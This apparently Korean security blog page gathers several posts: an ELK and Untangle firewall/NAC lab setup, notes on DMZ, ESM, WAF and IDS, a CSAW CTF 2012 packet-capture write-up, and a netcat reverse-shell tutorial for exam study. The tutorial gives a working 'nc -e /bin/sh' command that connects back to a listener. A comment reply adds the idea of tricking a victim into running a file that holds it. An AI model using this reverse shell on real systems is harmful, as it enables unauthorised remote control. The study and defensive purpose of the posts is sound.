이 글은 Untangle을 이용한 보안솔루션(방화벽,NAC) 구축, 실습을 이어서 하는 글입니다.


ELK

Elasticsearch + Logstash + Kibana

Elasticsearch : Apache의 Lucene을 바탕으로 개발한 실시간 분산 검색 엔진

Logstash : 각종 로그를 가져와 JSON형태로 만들어 Elasticsearch로 전송

Kibana : Elasticsearch에 저장된 Data를 사용자에게 DashBoard 형태로 보여주는 솔루션

<참조 : http://okky.kr/article/328309>



https://www.elastic.co/ 사이트 오픈소스 제품



위의 파일들은 https://www.elastic.co/products에서 다운 받을 수 있다.



파일들을 가상머신으로 올리는데 winSCap을 사용 할 것이다. 

사용방법은 미리 올려 두었다.  http://jmoon1601.tistory.com/57





winSCap으로 파일을 올렸다면 올린 위치로 가서 위에 빨간색으로 표시된 것 처럼 설치를 한다.


# rpm -ivh elasticsarch-2.3.4.rpm

-> i = 설치명령, v = 자세한 설치과정 보여주기, h = ###으로 설치진행상황 보여주기

# chkconfig --add elasticsearch

-> 부팅시 자동으로 실행할 수 있도록 추가하는 것

# service elasticsearch start

-> 서비스 시작




# http://localhost:9200

위와 같은 명령어를 입력하면 무언가가 뜨는 것을 알 수 있다.





# rpm -ivh kibana-4.5.3-1.x86_64.rpm

# chkconfig --add kibana

# service kibana start 


아까전에 했던 명령어 그대로 입력하면 된다.




# rpm logstash-2.3.4-1.noarch.rpm

# chkconfig --add logstash

# cd /etc/logstash/conf.d/

# gedit logstash.conf

logstash.conf에 위의 내용을 입력하고 저장한다. 굳이 gedit아니라 vim등을 이용하여 작성해도 된다.





# gedit /etc/sysconfig/logstash

이동하여 LS_USER=root으로 바꾼다.

root인 유저만 할 수 있도록 지정하는 것이다.


설정을 하고 나서

# service logstash start




# tail /var/log/messages

tail 명령어는 리눅스오류나 파일의 로그를 보고 싶을때 실시간으로 확인한다.

tail의 기능으로는 파일의 마지막 부분을 출력한다.

tail -f /var/log/messages하면 실시간으로 로그들이 찍히는대로 쭉쭉 올라온다. 




# /opt/logstash/bin/logstash -f /etc/logstash/conf.d/logstash.conf

위와 같이 입력을 하면


Setting: Default pipeline workers : 1

Pipeline main started 라는 글과 함께

아래와 같이 나올 것이다.


안나온다면 아까 logstash/conf.d 파일을 넣을때 오타가 발생했을 경우가 크다.

그래도 안된다면 기존의 service 3개를 restart해보는 방법도 있다.








인터넷을 켜서 주소창에

http://localhost:5601을 입력하면

위의 사진처럼 나올 것이다.


여기서 이제 kibana의 다양한 기능을 통해 분석해보면 될 것이다.







앞서 했던 포스팅을 통해 Untangle 설치와 Client설치를 해보았다.


이번에는 Untangle을 이용하여 방화벽, NAC기능을 알아 보도록 할 것이다.


먼저 Untangle과 Client를 실행시켜준다.


방화벽실습을 위해 ftp를 설치한다.

# yum -y install ftp

하면 위와 같은 창이 나올 것이다.



# ftp ftp.neowiz.com 

하면 위와 같이 접속이 되는 것을 알 수 있다 Ctrl+Z를 통해 빠져 나간다.




Untangle로 이동하여 FTP를 막아 보겠다.

Untangle에서 APPs -> FireWall을 설치하도록 한다.




Firewall 설치된 모습

아래에 Settings에 들어간다. 



위에 보면 port 21이 있다 FTP는 21번  포트를 사용하기 떄문에 Enable에 체크하고 Apply하면 FTP가 막힌다.



위에보면 +Add가 있는데 들어와서 새로운 정책을 만들 수 있다.

Untangle은 기본적으로 모든 통신을 허용한 상태이며, 윈도우 방화벽은 모든 통신을 막아둔 상태이다.

만약 Untangle에서 80번포트를 빼고 전부다 막고 싶다고하면

먼저 Add : 80번 포트 Open

그다음 Add : 프로토콜 선택해서 any로 Block을 걸면 80번 포트 빼고 다 닫게 된다.

보통 이러한 룰들은 위에서 부터 차례대로 적용이 되기때문에 순서에 따라 다르게 작동하는 경우가 있으니 유의해야 한다.





Apply를 했다면 다시 Client에서# ftp ftp.neowiz.com해보면 접속이 안되는 것을 알 수 있다.





그리고 Untangle에서 Firewall->Status를 보면 블락된 횟수를 볼 수 있다.

이렇게 방화벽 설정을 하여 Client들을 통제 할 수 있다.





이번엔 Untangle에 있는 web Filter를 실습 해 볼 것이다.

Apps에 가서 Web Filter를 설치한다.


※여기서 Lite가 있는데 Lite는 기능만있고 Lite가 없는 것은 Default 정책이 있는 것이다.


아까전에 했던 Firewall과 유사하다. Apps 에서 설치하고 Setting으로 들어와 Block Sites 탭에서

cafe.daum.net을 입력하였다.

그러면 Client에선 cafe.daum.net에 접속할 수 없게 된다.


 cafe.daum.net에 접속할려면 위 사진과 같이 필터에 걸리는 것을 알 수 있다.



Untangle에 Block File Types는 말 그대로 파일타입을 막게 된다. 



이제 NAC을 해볼 차례이다.

NAC은 Untangle에서 Captive Portal과 유사하게 동작한다.

이번에도 Apps에 가서 Captive Portal을 설치하고 Setting에 들어 간다.

Captive Portal -> User Authentication -> Local Directory -> Configure Local Directory에 들어간다. 



Add를 눌러서 추가하고 싶은대로 추가를 한다. Import와 Export로 불러오기, 내보내기 기능도 가능하다. 

Done -> Apply를 통해 적용시킨다. 




Captive Page에서 Basic Message -> Basic Login으로 바꾼다. 



Capture Rules라는 탭에 한가지 정책이 있는데

LAN에서 WAN으로 나갈 때 모든 것을 캡쳐하겠다라는 것이다. Pass Hosts는 캡쳐되지 않고 허용될 클라이언트가

 있으면 입력하게 된다. 

여기에 Enable을 키고 Apply를 눌러 준다.



그리고 Captive Portal을 껐다가 다시 킨다.




그리고 Client에서 naver.com 을 입력했을 때 위와 같은 입력창이 뜨게 된다.




이렇게하여 Untangle을 이용하여 방화벽, NAC, Webfilter를 실습해보았다. 


다음에는 여기에서 LogStash와 Elastic, Kibana를 이용하는 것을 실습해 볼 것이다.












저번 글에선 Untangle을 설치하는 방법을 알아 보았다.


이번에는 Client를 만들어서 후에 방화벽, NAC 실습할 수 있도록 한다. 


Client 만들고 network Adapter를 Host-Only만 남기고 지운다.(NAT도 있었음)




Client 실행 모습

아까 위에서 NAT지웠는데 그에따라 여기에서도 설정을 좀 더 해줘야한다.



# cd /etc/sysconfig/network-scripts

# ls ifcfg-eth*

# rm ifcfg-eth1

# mv ifcfg-eth0 ifcfg-eth2



# gedit ifcfg-eth2로 열거나 vi로 열어서 위와 같이 수정한다.

DHCP에서 IP설정을 받아오기 위한 설정이다.




클라이언트 세팅은 이정도로 하고 Untangle로 이동한다.



우리가 이번 실습을 통하여 만들어지는 모습을 요약한 맵이다. 






Untangle로 가서 Client열고 Config -> Interfaces -> Internal Edit -> Address를 192.168.200.3로 설정한다.







위와 같이 적용 될 수 있도록 한다.





그리고 조금 더 내리다 보면 DHCP configuration이란 탭이 보이는데

Range Start : 192.168.200.100

Range End : 192.168.200.200으로 바꾼다.

GateWay override : 192.168.200.3

Netmask Override : /24 - 255.255.255.0

DNS override : 8.8.8.8

바꾼 다음에 꼭 Done -> Apply누르고 적용이 되었는지 확인 한다.



VMware의 network editor 누르고 host-only에 DHCP를 꺼야한다.

이것을 켜두고 있으면 아까전에 DHCP 설정한거를 포함해 2개가 되서 어떻게 설정될지 모르게 된다.

따라서 Use Local DHCP service to distribute IP address to VMs에 있는 체크를 해제 해준다.




설정이 잘 되었는지 Client로 이동해서 확인해 본다.





# service network restart를 하였을때 위와 같이 나와야 한다.

맨 마지막에 OK가 떠야 한다.





# ip route

default via 192.186.200.3로 나타나는 것을 알 수 있다.




# ping -c1 www.google.com

핑이 날라가는 것을 볼 수 있다. 만약이 ping이 안간다면 


아까 Untangle가서 DNS Override를 192.168.100.2로 바꾸고

Client에서 # service network restart

다시 핑을 날려본다.




핑이 제대로 갔다면 Untangle로 와서 COnfig -> Network -> DHCP server로 오면

아래에 DHCP Server에서 빌려간 걸 볼 수 있다. Address 보면 192.168.200.168 되어있는데

Client에서 ifconfig하면 위 IP를 가지고 있는 것을 알 수 있다.



IP 192.168.200.168이 된것을 볼 수 있다.





Client에서 웹브라우저를 사용 하였을 때 Untangle에서 값들이 변하는 것들 볼 수 있다.

이로써 Untangle에 Client를 적용 시키는 것이 끝이 났다.

다음 포스팅에는 Untangle로 방화벽, NAC을 적용하여 Client에서 테스트 해보는 것을 해보겠다.














  1. hi 2016.10.20 02:40

    안녕하세요 제가 untangle을 이용해서 vmware에 있는 다른 리눅스에서 네이버를 차단하려고 하는데 client 저거 만든것이 그냥 우분투 아무것이나 사용해도 되는건가요???

  2. hi 2016.10.20 03:00

    클라이언트를 어떻게 만드는지 모르겠습니다 텔넷서버를 구축하는거면 어떻게 만드는지 알수있을까요?ㅠㅠ

    • Favicon of https://jmoon.co.kr BlogIcon JMoon1601 2016.11.16 09:52 신고

      클라이언트는 아무 버전을 vmware로 올려서 위에 설명대로 진행하면 될 것같습니다! 텔넷서버는 잘 모르겠네요... :X

  3. 2017.01.03 23:43

    비밀댓글입니다

    • 2017.01.10 11:26

      비밀댓글입니다

  4. ys 2017.10.24 19:09

    혹시 클라이언트 어떤 운영체제 쓰셨는지 알 수 있을까요??

    우분투에서 설정하는 법을 모르겟네요..

    • Favicon of https://jmoon.co.kr BlogIcon JMoon1601 2017.10.26 16:00 신고

      옛날이라 기억이 잘 안나는데 아마 Centos였던거 같습니다.

Untangle

방화벽, IDS/IPS, 웹방화벽 등 기능이 있는 UTM(Unified Threat Management) 장비이다. 오픈 소스이며, 리눅스에서 동작한다고 한다. 오픈소스라고는 하는데 안에 기능들 중에 시간제한이 있는 것이 꽤 많다.(https://www.untangle.com/)


Untangle 다운로드

https://www.untangle.com/get-untangle/



가운데 있는 NAT과 HOST-ONLY 환경을 구축, 실습해보자. 






각 설정에 맞게 다운로드한다. 필자는 위와 같이 받았다.



그리고 VMWARE에서 OPEN한 후 왼쪽 표시한 곳으로 들어간다.



최초설정에서 위의 그림과 같이 바꾼다. 

가상이라서 Network Adapter를 2개로 만들어서 하면 되는데 실제 컴퓨터에서 할려면

랜 카드가 2개 필요하다. 




VMnet8 NAT에 들어가서 아래 Subnet IP를 192.168.100.0으로 바꿔준다.

최초에 이 칸이 음영으로 되어 있을 경우에 Subnet mask 오른쪽에 있는 방패모양이 있는 버튼을 클릭하면 된다.





VMnet1은 192.168.200.0 으로 설정한다.

Apply를 누르고 OK한다.


그리고 가상머신을 실행시킨다.



기다리면 위와 같은 창이 열린다. 누르면 이제 설치창이뜨는데 설치창에선 뭐 다음다음만 잘 누르면 된다.


처음에 랭귀지는 Korea하고 다음다음 넘어간다.




이 화면이 나온다면 admin 비밀번호 적고 이메일적고 시간을 서울 시간을 찾아서 넣는다.




다음 넘어가면 Network Cards인데 Internal이 eth1이고 external이 eth0으로 설정되어 있으면 된다.




다음 Configuration Type이 Auto로 되어 있을텐데 Static으로 바꾸고 내용을 위 사진과 같이 적용한다.

적용하고 만약 Internet과 DNS가 연결이 안된다고 뜨면 아래를 참고한다.






Router로 설정하고 넘어간다.




방화벽 기능만 알아 볼 것이니 자동업데이트나 클라우드는 꺼놓는다.


그리고 다음다음하면 설정이 끝나고 

이런 화면이 나오면서 설치가 끝난다. 





APPS을 보면 언탱글(Untangle)에서 지원해주는 앱들을 볼 수 있다. 






  1. 2017.01.03 13:12

    비밀댓글입니다

  2. 2017.01.03 13:18

    비밀댓글입니다

    • 2017.01.10 11:23

      비밀댓글입니다

DMZ(Demilitarized zone)

조직의 내부 네트워크와 (일반적으로 인터넷인) 외부 네트워크 사이에 위치한 서브넷이다. 내부 네트워크와 외부 네트워크가 DMZ로 연결할 수 있도록 허용하면서도, DMZ 내의 컴퓨터는 오직 외부 네트워크에만 연결할 수 있도록 한다는 점이다. 즉 DMZ 안에 있는 호스트들은 내부 네트워크로 연결할 수 없다. 이것은 DMZ에 있는 호스트들이 외부 네트워크로 서비스를 제공하면서 DMZ 안의 호스트의 침입으로부터 내부 네트워크를 보호한다. 내부 네트워크로 불법적 연결을 시도하는 외부 네트워크의 누군가가 있다면, DMZ는 그들에게 막다른 골목이 된다.

DMZ는 일반적으로 메일서버, 웹서버, DNS 서버와 같이 외부에서 접근되어야 할 필요가 있는 서버들을 위해 사용된다.

외부 네트워크에서 DMZ로 가는 연결은 일반적으로 포트 주소 변환(port address translation 또는 PAT)을 통해 제어된다.

<출처 : https://ko.wikipedia.org/wiki/%EB%B9%84%EB%AC%B4%EC%9E%A5%EC%A7%80%EB%8C%80_(%EC%BB%B4%ED%93%A8%ED%8C%85)>


DMZ는 내부 네트워크에 속하지만 외부 네트워크에서 들어 올 수 있도록 한 네트워크 디자인이다.

DMZ는 일반적으로 메일서버, 웹서버, DNS서버와 같이 외부에서 접근되어야 할 필요가 있는 서버들을 위해 사용된다.



ESM(Enterprise Security Management)

기본적으로 방화벽, IDS/IPS등에서 발생되는 네트워크 이벤트는 ESM이라 불리우는 통합 보안 관리 솔루션을 통해 효과적으로 관리 할 수 있다. ESM은 방화벽, IPS/IDS 이외에 VPN. Server, Router까지 상호 연동되어 다양한 보안 위협에 대해 사전, 사후 대응하도록 관리되어 있으며, 체계화된 프로세스를 통해 위협으로 부터 보호 할 수 있다.


- 다수의 보안 시스템을 관리 할 수 있는 보안 솔루션

- 방화벽, IDS, IPS, VPN 등 보안 시스템, 서버, 네트워크 장비를 상호 연동해서 보안 시스템을 효율적으로 운영할 수 있도록 해줌

- 각종 보안 장비에서 발생한 이벤트 수집, 관리, 경보 대응 등을 통합하여 관리

- 보안 사과 발생 시 효율적으로 대처할 수 있도록 도와줌

- 도입시 주의해야 할 사항 : 수집되는 로그를 분석하기 위해 어느 정도 고성능 서버가 필요한지 로그가 어느 정도인지가 있음. 이를 고려하여 대용량 스토리지를 구축 해야한다. 





WAF(Web Application Firewall)

웹 기반 업무 증가 : 사회 활동 장소로의 웹 이동

웹 기반 업무 전환: 인터넷 뱅킹, 쇼핑몰, 전자정부, 행정서비스

접근 용이성 : 손쉬운 공격 대상

Application 용 80번 포트는 항상 Open, Network 방화벽의 보호를 받기 힘듦

해킹 효과 극대화

공격 난이도에 비해 큰 효과 기대 가능

가치 있는 정보 획득 용이

따라서 웹 서버의 안전성을 F/W 또는 IPS로 보호를 받기가 구조적 문제가 있으며 따라서 웹 Application 전용 보안장비가 필요


WAF는 웹 애플리케이션의 보안을 위한 보안 시스템

웹 애플리케이션을 운영하면서 발생할 수 있는 SQL Injection, XSS, CSRF등과 같은 웹 공격을 탐지하고 차단 할 수 있음

이외에도 정보 유출 방지, 부정 로그인 방지, 웹 사이트 위,변조 방지 기능도 탑재되어 웹 공격을 효과적으로 방어 할 수 있음


구축 형태

웹 서버내에 소프트웨어로 설치되는 형태

하드웨어로 설치되는 형태


하드웨어 형태의 구성 방식

Reverse Proxy 방식, In-Line 방식



WAF는 WAS에 있는 동적인 정보를 지키기 위함

IDS/IPS는 모든 프로토콜을 거치며, WAF는 HTTP/S에 적용된다. 


네트워크 보안의 외부망과 내부 네트워크를 구분해 주는 방화벽으로 1차적으로 필터링, 2차적으로 IDS를 통해 공격을 탐지한다.

또한 IDS를 통해 트래픽을 모니터링 하는 방법으로 미러링 방식과 인라인 방식이 있다.


1. 미러링 방식(Mirroring)

미러링 방식은 TAP 장비나 네트워크 장비의 미러닝 포트 기능을 설정하여 네트워크 트래픽의 복사본을 모니터링 하는 방식


TAP장비란 Network상의 한 구간에 이동하는 Packet Data를 복사하여 Monitor 장비로 보내주는 역할을 하는 가장 기본적인 TAP, UTP TAP, Fiber TAP, WAN용 TAP의 종류가 있다. 

<출처 : http://mssp.tistory.com/entry/TAB-%EC%9E%A5%EB%B9%84 > 


포트 미러링은 네트워크 스위치의 어떤 한 포트에서 보이는 모든 네트워크 패킷 혹은 전체 VLAN의 모든 패킷들을 다른 모니터링 포트로 복제하는데 사용된다. 포트 미러링은 주로 침입 탐지 시스템이나 패시브 프로브, 애플리케이션 성능 관리(APM)에 필요한 실사용자 모니터링 기술과 같이 네트워크 트래픽을 모니터링 해야하는 네트워크 장비들에서 사용된다.

<출처 : https://ko.wikipedia.org/wiki/%ED%8F%AC%ED%8A%B8_%EB%AF%B8%EB%9F%AC%EB%A7%81 > 


1이 미러링이라고 하면 2,3,4번 포트에 있는 데이터들을 모두 1에서받아 볼 수 있다.










2. 인라인 방식(In-Line)

인라인 방식은 방화벽과 동일하게 위치시켜 모든 트래픽을 IDS를 거쳐서 갈 수 있도록 하는 방식이다. 

인라인 방식으로 구성하는 경우 네트워크의 성능이 저하되고 하드웨어에 장애가 발생하는 현상으로 인해 가용성을 보장 할 수 없다는 문제점이 생기나 모든 정보가 IDS를 거쳐가므로 우회 할 수 없다.






Hub

1계층으로써 들어온 정보가 나갈 수 있는 곳으로 전부 보낸다.


Switch

Hub와 다르게 들어온 정보를 특정한 곳으로만 보낼 수 있다.



스위치 포트 속도가 1Gb/s라고 하면 내부에 있는 처리장치는 4Gb/s가 되어야 최대 부하가 걸렸을때 원래의 속도를 낼 수 있다.


이번에 이 주제를 쓰는 이유는 정보보안 산업기사 실무형 문제로 netcat으로 리버스 쉘하는 방법이 나왔는데 정확히 기억이 안나가지고 통탄스러워서 다시 정리하는 겸해서 씁니다..이 방법을 악용하면 안되요. 


리버스텔넷이란??

리버스 텔넷 기술은 방화벽이 존재하는 시스템을 공격할 때 자주 사용되는 기법중 하나이다. 방화벽 정책에서 인바운드 정책은 일반적으로 화이트 리스트를 채택하는 경우가 많다. 하지만 아웃바운드 정책에는 별 다른 블록을 설정하지 않기때문에 이러한 경우에는 리버스 텔넷이 유효하게 적용 할 수 있다.

리버스 텔넷을 간략하게 설명을 하자면 먼저 공격자가 자신의 포트를 열어두고 기다리고 있다가 공격자가 피해자의 컴퓨터에 침투를 하였을 때 피해자의 컴퓨터로 아까전에 열어두었던 공격자의 포트로 먼저 붙게 되는 방식이다. 이러한 방식을 사용하면 인바운드 정책에 걸리지 않고 연결이 된다.


일반적으로 허용되지 않은 경로면 방화벽에서 차단하게 된다.




하지만 내부에서 외부로 나가는건 보통 차단을 안시켜놓기 때문에 수월하게 접속이 가능하다.



이제 netcat을 이용하여 간단하게 실습을 해보자. 

만약 netcat이 없다면 아래의 링크를 통해 다운을 받거나 다른 곳에서 찾아서 다운을 받는다.

https://eternallybored.org/misc/netcat/

하지만 필자는 윈도우에서 하지않고 우분투와 칼리리눅스를 이용하여 실습을 진행 할 것이다.

공격자 IP



피해자 IP


공격자 IP : 192.168.145.133 / 우분투 14.04

피해자 IP : 192.168.145.131 / 칼리리눅스 2.0



1. 먼저 공격자가 포트를 연다.

nc -l -p (포트번호)

nc -l -p 8888

-l은 열고 있겠다는 뜻이고 -p 는 포트다. 

여기서 포트번호는 아무거나 설정해도되는데 이왕 1024 이상의 값으로 하는게 낫다.




2. 피해자의 컴퓨터에서 연결을 시도한다.

nc -e (실행파일) (공격자IP) (포트번호)

nc -e /bin/sh 192.168.145.133 8888

-e 는 연결이 되면 다음에 있는 파일을 자동으로 실행하게 한다.


※여기서 -e명령어가 안되는 경우가 있는데 최근 버전에는 안전성의 문제로 -e의 명령어는 없애고 나오는 추세이다. 따라서 따로 추가를 하거나 구버전을 다운받아 사용해야 한다.


※ 리눅스에서는 /bin/sh을 쓰고 윈도우에서 똑같은 결과를 얻을려면 /bin/sh대신 cmd를 넣으면 된다.



3. 제대로 성공했는지 확인한다.

공격자의 컴퓨터에서 ifconfig를 하면 피해자의 IP인 192.168.145.131이 나온다.



다른 명령어는 쳐도 피해자의 명령어 결과가 나온다.



해보면 정말 간단하다는 것을 알 수있다. 그런데 이걸 틀렸으니 너무 화가 난다. 


리버스 텔넷을 막는 방법은 아웃바운드 정책을 적절하게 설정을 하거나 /bin/sh 등 쉘 접근이나 cmd의 동작을 실시간으로 감시하여 처리하는 방법, 처음부터 리버스 텔넷을 시도하지 못하게 파일업로드 취약점 등을 잘 방지 하는등 충분한 대비를 마련해야 할 것이다.



netcat을 사용하는 무궁무진한 방법중 하나이다. 물론 netcat을 이용하지 않고서도 리버스 텔넷을 할 수 있다. 하지만 netcat은 이것뿐만아니라 다른 것도 많이 지원하기때문에 잘 사용하면 정말 좋은 프로그램이나 잘못 쓸 경우 큰일이 날 수 있음을 조심하자.  


  1. hoc 2017.04.11 22:15

    저도 전에 시험보다가 틀린 기억이 있네요ㅎㅎ
    근데 궁금한게 있습니다. 만약 리버스텔넷을 실제 환경에서 일어난다고 가정하면
    희생자가 입력하는 nc -e cmd.exe x.x.x.x 8888 명령어는 공격자가 실행하는건가요 희생자가 실행하는건가요?
    여기서 의문이 드는데요.
    공격자가 실행하는 경우라면 공격자가 희생자pc에 침투한 상태에서 위 nc명령을 친다는 얘기는 이미 공격자가 희생자 쉘을 얻었다는 뜻이고
    희생자가 실행하는 경우라면 왜 굳이 공격자 ip와 포트번호를 직접 입력하면서까지 세션을 맺어주는지 의문이 드네요.
    두 경우 모두 상식적으로 이해가 안가는데 혹시 정확하게 알고 계시면 답변 부탁드리겠습니다

    • Favicon of https://jmoon.co.kr BlogIcon JMoon1601 2017.04.14 16:47 신고

      공격에는 다양한 방법이 있겠지만, 하나의 예를 생각해보자면 nc -e cmd.exe ..... 를 공격자가 직접실행하는 것이라 아니라 공격자가 위의 공격 명령이 포함된 파일을 보내서 희생자가 실행을 시키게 유도하여 연결을 성립시킨다고 생각하시면 될듯싶습니다. 결과적으로 공격자는 희생자의 쉘을 얻게 될 것이고 희생자는 공격자의 ip와 port번호를 직접 입력하지 않아도 된다고 봅니다.

    • hoc 2017.04.14 22:46

      그렇군요. 그 어떤 설명보다 이해가 확 가네요. 며칠동안 관련해서 찾아봣는데 다 비슷비슷해서 ㅎㅎ 실기시험 준비 잘 하시길 바랄게요

  2. ros 2018.08.23 19:53

    netcat은 공격자 피해자 두쪽에 설치가 되어 있어야 하는건가요?

  3. ros 2018.08.23 20:06

    그럼 공격자가 서버에 시스템을 탈취한후 서버의 명령창을 얻어서 nc -e cmd.exe 1.1.1.1 8888를 입력하는건가요?
    즉 공격자가 저 명령어를 입력하는 것인가요?

이 파일의 문제가 뭔지는 몰랐으나 검색하니 바로 나오네요.
CSAW CTF 2012 문제중 하나라고 하더군요.

파일은 찾아보시면 나오니까 거기서 쓰시면 될거같습니다.

문제 : Some dude I know is planning a party at some bar in New York! I really want to go but he's really strict about who gets let in to the party. I managed to find this packet capture of when the dude registered the party but I don't know what else to do. Do you think there's any way you can find out the secret password to get into the party for me? By the way, my favorite hockey player ever is mario lemieux.

해석 : 내가 아는 친구는 뉴욕에서 어떤 바에서 파티를 계획하고 있습니다! 정말 가고 싶은데 그는 누군가에게 파티가 알려지는 것에 대해 정말 엄격입니다. 나는 그 친구가 파티를 등록 할 때의 이 패킷 캡쳐를 찾는데에 애썼지만 어떻게 해야 할지 모릅니다. 당신은 나를 위해 파티에 들어갈 비밀 암호를 알아낼 수있는 방법이 있다고 생각하세요? 그런데, 내가 제일 좋아하는 하키 선수는 mario lemieux입니다.


문제를 보면 파티를 계획하고 있다고 합니다. 

먼저 wireshark를 통해 pcap파일을 열어보겠습니다.
뭔가 패킷이 참 많네요.
문제에서 party에 참가하고싶다고 하니 party에 힌트가 있을 것입니다.
따라서 Filter에 다음과 같이 입력해봅니다. frame contains party 

frame contains는 frame에 "party"라는 단어가 포함된 트래픽을 보여주는 필터입니다.

그랬더니 다음과 같이 2개의 패킷만 잡히는 걸 알 수 있었습니다.




마우스 우클릭 Follow TCP stream을 통해 패킷을 열어 보겠습니다.




열면 위와 같은 창이 뜰것입니다.

처음에 이것을 보고 호스트에 있는 주소에 뭔가가 있는 줄 알아서 들어갔더니 

위와 같은 사이트가 나오고 딱히 발견 할 수가 없었습니다.

그래서 다시 Follow TCP stream을 보니 

중간에 보시면 si_contact부분에 뭔가 그럴싸한 글자들이 보입니다.

그래서 si_contact 부터 복사를해서 URL 디코딩을 합니다.

디코딩하였을때 나온 값입니다.

아래서 3번째줄 보면은 "brooklyn beat box" 라고 되어 있으며 영어를 해석해보면 그 파티에 참석하려면 이런것을 준비해야한다느낌인데 "brooklyn beat box"를 준비하라는 생각이 드므로 brooklyn beat box가 답이 될 듯 싶습니다.

brooklyn beat box



참조 : http://blog.petrilopia.net/software/wireshark-display-filter/ 

http://matthex.tistory.com/entry/CSAW-CTF-2012-Writeup <- 링크에 가시면 CSAW CTF 2012문제 WriteUp이 있으니 참조하실분은 하시면 되겠습니다.







+ Recent posts